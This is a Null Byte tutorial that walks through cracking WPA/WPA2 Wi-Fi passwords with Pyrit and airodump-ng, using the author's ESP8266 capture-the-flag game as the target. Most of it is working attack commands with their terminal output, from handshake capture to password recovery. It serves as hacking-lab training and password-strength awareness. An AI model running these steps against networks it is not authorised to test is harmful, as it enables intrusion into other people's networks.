How to Crack WPA & WPA2 Wi-Fi Passwords with Pyrit « Null Byte :: WonderHowTo

Pyrit is one of the most powerful WPA/WPA2 cracking tools in a hacker's arsenal, with the ability to benchmark a computer's CPU speeds, analyze capture files for crackable handshakes, and even tap into GPU password-cracking power. To demonstrate how quickly it can hack a WPA/WPA2 password, we'll use it to play a Wi-Fi hacking CTF game anyone can practice for less than $10.Wi-Fi is incredibly convenient but comes with inherent security problems that make using it riskier than a wired alternative. That's because anyone can join a WPA-encrypted Wi-Fi network provided they know the password, allowing an attacker direct access to other devices on the network and network traffic in general. Choosing aWi-Fi password that is difficult to guessis very important, because, with a good password list and a program like Pyrit, even huge password lists can be searched through in a matter of minutes.Password-Cracking with OpenCL & CUDAWhile we won't be using GPU cracking today, Pyrit is capable of using a compatible GPU to crack passwords even faster. It's dependent on your computer's hardware, and thus the setup process will depend on the type of GPU you have and whether you choose to use OpenCL or CUDA. Once GPU acceleration is enabled, Pyrit is one of the fastest tools available for WPA password-cracking out there.You may get lucky in that the GPU of your computer already is compatible with Pyrit, but getting the GPU acceleration working is an unfun process that I'll leave to those of you brave enough. You can always attempt it by followingPyrit's guide on GitHubfor instructions, but I wasn't able to get it working correctly on either laptop I tried it on, at the time of this writing.Don't Miss:Automating Wi-Fi Hacking with Besside-ngCracking the Password in Our CTF GamePyrit has many tools that are useful for hackers and pentesters besides just cracking passwords, and today, we'll use a few of those tools to help us play a capture-the-flag Wi-Fi hacking game. One helpful tool is thestripcommand, which strips down long capture files to only include relevant packets. And then there's theverifyoption that lets Pyrit confirm results via recomputation.Pyrit also has several features to import multiple password lists into a large database. To prevent duplicates, theimport_unique_passwordscommand can also strip out passwords that appear multiple times in the same file we're trying to import. After we import passwords to the database, we can start cracking them with theattack_batchoption.In Kali Linux, we can see the description of the tool by typingman pyritin a terminal window.NAME
       pyrit - A GPGPU-driven WPA/WPA2-PSK key cracker

SYNOPSIS
       pyrit [options] command

DESCRIPTION
       Pyrit  exploits  the  computational power of many-core- and GPGPU-plat‐
       forms  to  create  massive  databases,  pre-computing   part   of   the
       WPA/WPA2-PSK  authentication  phase  in  a space-time tradeoff. It is a
       powerful attack against one of the world's  most  used  security-proto‐
       cols.

...Without adding passwords to the Pyrit database directly, the most basic attack we can run with Pyrit is theattack_passthroughoption, summarized by manual description.attack_passthrough
                     Attack an EAPOL-handshake  found  in  the  packet-capture
                     file(s)  given  by the option -r using the passwords read
                     from the file given by the option -i.  The options -b and
                     -e  can be used to specify the Access-Point to attack; it
                     is picked automatically if both options are omitted.  The
                     password  is  written to the filename given by the option
                     -o if specified. For example:

                          pyrit -r test.pcap -b 00:de:ad:be:ef:00 \
                              -i words.txt attack_passthrough

                     Pyrit attacks all EAPOL-handshakes at the  same  time  if
                     the option --all-handshakes is supplied.While we'll step this up by loading some passwords into the database first, the most basic method of password cracking with Pyrit is incredibly simple to use.The CTF Wi-Fi Hacking ScenarioTo follow along, you'll need at a minimum aKali-compatible wireless network adapter, a Wi-Fi network you know the password to, a device like a smartphone to join the network to create handshakes, and a computer running Kali Linux.Don't Miss:Buy the Best Wireless Network Adapter for Wi-Fi HackingIf you want to try out our scenario more easily, you can use an ultra-cheapESP8266 microcontrollerprogrammed in Arduino to both create a Wi-Fi network to hack and generate handshakes at the same time. For anyone wanting to practice with an MCU, my friends and I wrote a Wi-Fi hacking CTF game called theChickenManGame, which is the world's most famous (and only) Wi-Fi hacking CTF game based on the ESP8266.Image by Kody/Null ByteTo play the game, I recommend using either aNodeMCUorD1 Mini microcontroller, both of which are based on the ESP8266 and cost between $2 and $5 each board. Load the ChickenManGame sketch in Arduino, install the needed libraries, and push the code to the ESP8266 following theinstructions on the GitHub repository. After you've pushed the code to each microcontroller, plug in a red, green, and blue LED to each as shown in the instructions on GitHub.Buy a NodeMCU Board on AmazonBuy a NodeMCU Board on AliExpressBuy a D1 Mini MCU on AmazonBuy a D1 Mini MCU on AliExpressImage by Kody/Null ByteFinally, plug each device into a Micro-USB power source, then connect a jumper wire from pin D7 to ground on only one of them. The ESP8266 without pin D7 connected to ground will create a Wi-Fi network named "Chicken Easy" with a number at the end. The second device with pin D7 connected to ground will join the Wi-Fi network that the first one created, generating WPA handshakes for you to capture and crack easily.In our game today, we'll be trying to connect to an encrypted Wi-Fi access point with a WPA/WPA2 password we don't know. We'll do this in a few steps, usingairodump-ngto grab the handshake, and Pyrit to crack the password.Don't Miss:Cracking WPA2 Passwords Using the New PMKID Hashcat AttackStep 1: Install PyritTo install Pyrit on a Kali system, typeapt install pyritin a terminal window. Pyrit is installed by default on full Kali installs, but for the lite version, you may need to install it manually.~$ apt install pyrit

Reading package lists... Done
Building dependency tree
Reading state information... Done
pyrit is already the newest version (0.5.1+git20180801-1).
pyrit set to manually installed.
The following package was automatically installed and is no longer required:
  libgit2-27
Use 'apt autoremove' to remove it.
0 upgraded, 0 newly installed, 0 to remove and 1795 not upgraded.Once it's finished installing, typepyrit -hto print the help menu and confirm it's installed on our system.~$ pyrit -h

Pyrit 0.5.1 (C) 2008-2011 Lukas Lueg - 2015 John Mora
https://github.com/JPaulMora/Pyrit
This code is distributed under the GNU General Public License v3+

Usage: pyrit [options] command

Recognized options:
  -b               : Filters AccessPoint by BSSID
  -e               : Filters AccessPoint by ESSID
  -h               : Print help for a certain command
  -i               : Filename for input ('-' is stdin)
  -o               : Filename for output ('-' is stdout)
  -r               : Packet capture source in pcap-format
  -u               : URL of the storage-system to use
  --all-handshakes : Use all handshakes instead of the best one
  --aes            : Use AES

Recognized commands:
  analyze                 : Analyze a packet-capture file
  attack_batch            : Attack a handshake with PMKs/passwords from the db
  attack_cowpatty         : Attack a handshake with PMKs from a cowpatty-file
  attack_db               : Attack a handshake with PMKs from the db
  attack_passthrough      : Attack a handshake with passwords from a file
  batch                   : Batchprocess the database
  benchmark               : Determine performance of available cores
  benchmark_long          : Longer and more accurate version of benchmark (5 minutes)
  check_db                : Check the database for errors
  create_essid            : Create a new ESSID
  delete_essid            : Delete a ESSID from the database
  eval                    : Count the available passwords and matching results
  export_cowpatty         : Export results to a new cowpatty file
  export_hashdb           : Export results to an airolib database
  export_passwords        : Export passwords to a file
  help                    : Print general help
  import_passwords        : Import passwords from a file-like source
  import_unique_passwords : Import unique passwords from a file-like source
  list_cores              : List available cores
  list_essids             : List all ESSIDs but don't count matching results
  passthrough             : Compute PMKs and write results to a file
  relay                   : Relay a storage-url via RPC
  selftest                : Test hardware to ensure it computes correct results
  serve                   : Serve local hardware to other Pyrit clients
  strip                   : Strip packet-capture files to the relevant packets
  stripLive               : Capture relevant packets from a live capture-source
  verify                  : Verify 10% of the results by recomputationWhat We'll End Up WithFor our attack, we'll be using theattack_batchoption, and we'll need a couple of pieces of information for the command to work.First, we need to include a capture file that our WPA/WPA2 handshake is saved in. We'll add it by adding the-rflag, with the location of the file containing our handshake directly after. Next, we'll need to add a list of passwords to Pyrit, which we can do with theimport_unique_passwordscommand and the-iflag to indicate the password list we want to add. We'll be using a WPA password listfrom the SecLists GitHub repository. Finally, we'll be using the-oflag to save the password to a file.Our final command should look something like this when we're ready:~$ pyrit -r capture.pcap -o savedpass attack_batchBefore we can execute the attack, however, we'll need to grab the handshake and the password list, so let's grab those first.Don't Miss:Capturing WPA Passwords by Targeting Users with a Fluxion AttackStep 2: Download a Password List & Benchmark SystemFor our password list, we're going to download the excellent WPA cracking wordlist hosted at the SecList GitHub repository. To download it to our Desktop, type the following commands into a terminal window.~$ wget https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/WiFi-WPA/probable-v2-wpa-top4800.txt

--2019-12-20 13:19:39--  https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/WiFi-WPA/probable-v2-wpa-top4800.txt
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 151.101.0.133, 151.101.64.133, 151.101.128.133, ...
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|151.101.0.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 45276 (44K) [text/plain]
Saving to: ‘probable-v2-wpa-top4800.txt’

probable-v2-wpa-top 100%[===================>]  44.21K  --.-KB/s    in 0.07s

2019-12-20 13:19:39 (627 KB/s) - ‘probable-v2-wpa-top4800.txt’ saved [45276/45276]When it's complete, we should have a password list of 4,800 of the worst passwords out there to start with, downloaded to our desktop. To know how quickly we'll be able to crack through them, we'll need to benchmark our system with Pyrit. To do so, typepyrit benchmarkinto a terminal window and wait while it completes.~$ pyrit benchmark

Pyrit 0.5.1 (C) 2008-2011 Lukas Lueg - 2015 John Mora
https://github.com/JPaulMora/Pyrit
This code is distributed under the GNU General Public License v3+

Running benchmark (1157.3 PMKs/s)... |

Computed 1157.32 PMKs/s total.
#1: 'CPU-Core (SSE2/AES)': 298.2 PMKs/s (RTT 2.9)
#2: 'CPU-Core (SSE2/AES)': 312.0 PMKs/s (RTT 3.0)
#3: 'CPU-Core (SSE2/AES)': 312.6 PMKs/s (RTT 2.7)
#4: 'CPU-Core (SSE2/AES)': 310.5 PMKs/s (RTT 3.0)Here, we can see that my rather old Lenovo can try about 1,157.3 PMKs per second, meaning it would take about 4.1 seconds to try every password in the file. Compare that to a new Macbook Pro with 4,226 PMKs per second, and you see how CPU power matters when it comes to cracking.Let's add our passwords to the database with theimport_passwordscommand, adding-iand the path to the password list we want to add. Type the following command into your terminal window, modifying the password list to match where you saved yours.~$ pyrit -i '/root/Desktop/probable-v2-wpa-top4800.txt' import_passwords

Pyrit 0.5.1 (C) 2008-2011 Lukas Lueg - 2015 John Mora
https://github.com/JPaulMora/Pyrit
This code is distributed under the GNU General Public License v3+

Connecting to storage at 'file://'...  connected.
4800 lines read. Flushing buffers....
All done.Now we have 4,800 passwords saved in Pyrit's database, and we can use theattack_batchoption.Step 3: Capture a WPA/WPA2 HandshakeTo capture a handshake, we'll need to listen in on one device connecting to our target Wi-Fi network. First, let'sput our card into wireless monitor modeso that we can listen in on handshake files.Don't Miss:Hack WPA & WPA2 Wi-Fi Passwords Using AirgeddonFirst, open a terminal window and typeifconfigto locate the name of your wireless network adapter. If you're using an external USB adapter that's compatible with Kali, it will probably be named something like wlan1.~$ ifconfig

eth0: flags=4099<UP,BROADCAST,MULTICAST>  mtu 1500
        ether 50:7b:9d:7a:c8:8a  txqueuelen 1000  (Ethernet)
        RX packets 0  bytes 0 (0.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 0  bytes 0 (0.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 856  bytes 71488 (69.8 KiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 856  bytes 71488 (69.8 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

wlan0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.0.37  netmask 255.255.255.0  broadcast 192.168.0.255
        inet6 2606:6000:66d0:a000:8991:f76f:faec:2713  prefixlen 64  scopeid 0x0<global>
        inet6 fe80::903f:322c:1ad9:a365  prefixlen 64  scopeid 0x20<link>
        ether 30:52:cb:6b:76:5f  txqueuelen 1000  (Ethernet)
        RX packets 17933  bytes 22147581 (21.1 MiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 10045  bytes 1333343 (1.2 MiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

wlan1: flags=4099<UP,BROADCAST,MULTICAST>  mtu 1500
        ether 00:c0:ca:95:6e:74  txqueuelen 1000  (Ethernet)
        RX packets 0  bytes 0 (0.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 0  bytes 0 (0.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0Next, we'll put our card into wireless monitor mode with the commandairmon-ng start wlan1. Airmon-ng is installed on Kali by default. When we runifconfigagain, our card should now be called "wlan1mon." Now, let's grab a handshake.First, we'll run a scan to find what channel our target network is on. To do so, runairodump-ng wlan1mon. Again, you should already have airodump-ng.~$ airodump-ng wlan1mon

CH 10 ][ Elapsed: 0 s ][ 2019-04-29 12:32

 BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

 18:FE:34:00:00:02  -40        4        0    0   3  48   WPA2 CCMP   PSK  Chicken_Easy_02We can see our target network is on channel 3. Now that we know this, we can capture a handshake with the commandairodump-ng wlan1mon -c 3 -w capture.~$ airodump-ng wlan1mon -c 3 -w captureWhen you've captured a handshake, you can confirm it with Pyrit. After copying the location of your capture file, run the commandpyrit -rpathtocapturefileanalyzeto confirm you have a valid capture.~$ pyrit -r '/root/Desktop/capture-01.cap' analyze

Pyrit 0.5.1 (C) 2008-2011 Lukas Lueg - 2015 John Mora
https://github.com/JPaulMora/Pyrit
This code is distributed under the GNU General Public License v3+

Parsing file '/root/Desktop/marko-01.cap' (1/1)...
Parsed 122 packets (122 802.11-packets), got 8 AP(s)

#1: AccessPoint 84:61:a0:61:39:90 ('ATT9X3s2e4'):
#2: AccessPoint ce:50:e3:08:11:d4 ('Chicken_Easy_01'):
  #1: Station 84:0d:8e:8c:b0:1c, 4 handshake(s):
    #1: HMAC_SHA1_AES, good, spread 1
    #2: HMAC_SHA1_AES, good, spread 1
    #3: HMAC_SHA1_AES, good, spread 87
    #4: HMAC_SHA1_AES, good, spread 87
#3: AccessPoint 6e:4d:73:96:78:a7 ('Edgardo'):
  #1: Station cc:29:f5:57:fc:98
#4: AccessPoint c4:01:7c:57:69:a8 ('LILA-Guest'):
#5: AccessPoint c4:01:7c:97:69:a8 ('LILA-STAFF'):
#6: AccessPoint 6c:b0:ce:ad:1e:53 ('MyCharterWiFi53-2G'):
#7: AccessPoint b0:98:2b:4a:b4:d4 ('MySpectrumWiFice-2G'):
#8: AccessPoint c4:01:7c:17:69:a8 ('PS-WL-MO'):Here, we can see that we have good handshakes, meaning we can proceed with cracking.Step 4: Run Pyrit on the HandshakeNow that we've captured the handshake and added the passwords to the database, we can run ourattack_batchcommand we created before. Run the commandpyrit -rpathtocapturefile-o savedpass attack_batchto try cracking handshakes we captured.~$ pyrit -r '/root/Desktop/capture-01.cap' -o savedpass attack_batch

Pyrit 0.5.1 (C) 2008-2011 Lukas Lueg - 2015 John Mora
https://github.com/JPaulMora/Pyrit
This code is distributed under the GNU General Public License v3+

Parsing file '/root/Desktop/capture-01.cap' (1/1)...
Parsed 122 packets (122 802.11-packets), got 8 AP(s)

Picked AccessPoint ce:50:e3:08:11:d4 ('Chicken_Easy_01') automatically.
Tried 447 PMKs so far; 250 PMKs per second. password

The password is '123456789'.Success! If you're playing our Wi-Fi hacking CTF game, you can log into the Wi-Fi access point, navigate to192.168.4.1, and click on your team's color to claim the game piece for your team.If you're not playing our game, then you just cracked the password to a WPA/WPA2 network, provided the password was on the list. If it wasn't, you might need a more extensive password list, even to try brute-forcing it.Pyrit Makes It Easy to Brute-Force PasswordsWhile we didn't go over everything Pyrit can do today, there is a lot we didn't cover. Of course, while Pyrit is one of the most potent brute-force attacks out there, an extremely strong password will still defeat the attack. Pyrit is capable of both dictionary and true brute-forcing attacks depending on what your system can handle, so make sure to pick strong passwords if you don't want to be vulnerable to easy cracking with tools like Pyrit.I hope you enjoyed this guide to brute-forcing passwords using Pyrit! If you have any questions about this tutorial on using your CPU and GPU to crack passwords using Pyrit, please ask below, and if you have a comment or idea for a future episode, feel free to reach me on Twitter@KodyKinzie.Don't Miss:Stealing Wi-Fi Passwords with an Evil Twin AttackWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo by Kody/Null ByteRelatedHow to Hack Wi-Fi:Cracking WPA2 Passwords Using the New PMKID Hashcat AttackVideo:How to Crack Weak Wi-Fi Passwords in Seconds with Airgeddon on Parrot OSHow To:Hack Wi-Fi Networks with BettercapHow To:Crack Wi-Fi Passwords—For Beginners!How to Hack Wi-Fi:Getting Started with the Aircrack-Ng Suite of Wi-Fi Hacking ToolsHow To:Brute-Force WPA/WPA2 via GPUHow to Hack Wi-Fi:Cracking WPA2-PSK Passwords Using Aircrack-NgHow to Hack Wi-Fi:Selecting a Good Wi-Fi Hacking StrategyHow to Hack Wi-Fi:Getting Started with Terms & TechnologiesHow To:Null Byte & Null Space Labs Present: Wi-Fi Hacking, MITM Attacks & the USB Rubber DuckyHow To:Easily Store Your iPhone's Wi-Fi Passwords & Share Them with Anybody — Even Android UsersHow to Hack Wi-Fi:Cracking WPA2-PSK Passwords with CowpattyHow To:The Beginner's Guide to Defending Against Wi-Fi HackingHow To:The Easiest Way to Share Your Complicated WiFi Password with Friends & Family—No Typing RequiredHow To:Hack WPA & WPA2 Wi-Fi Passwords with a Pixie-Dust Attack Using AirgeddonHow To:Automate Wi-Fi Hacking with Wifite2How to Hack Wi-Fi:Hunting Down & Cracking WEP NetworksHow To:Recover a Lost WiFi Password from Any DeviceHow to Hack Wi-Fi:Get Anyone's Wi-Fi Password Without Cracking Using WifiphisherHow to Hack Wi-Fi:Capturing WPA Passwords by Targeting Users with a Fluxion AttackHow To:iOS 6 Broke Your Wi-Fi? Here's How to Fix Connection Problems on Your iPhone or iPadHow To:Hack Wi-Fi & Networks More Easily with Lazy ScriptHow to Hack Wi-Fi:Cracking WEP Passwords with Aircrack-NgHow To:Hack WiFi Passwords for Free Wireless Internet on Your PS3How To:Hack WPA WiFi Passwords by Cracking the WPS PINHack Like a Pro:How to Crack Passwords, Part 1 (Principles & Technologies)How To:How Hackers Steal Your Internet & How to Defend Against ItNews:Advanced Cracking Techniques, Part 1: Custom DictionariesHow To:See Who's Stealing Your Wi-Fi (And Give Them the Boot)News:Secure Your Wireless Network from Pillage and Plunder in 8 Easy StepsHow To:Encrypt a NETGEAR router with WPA password protection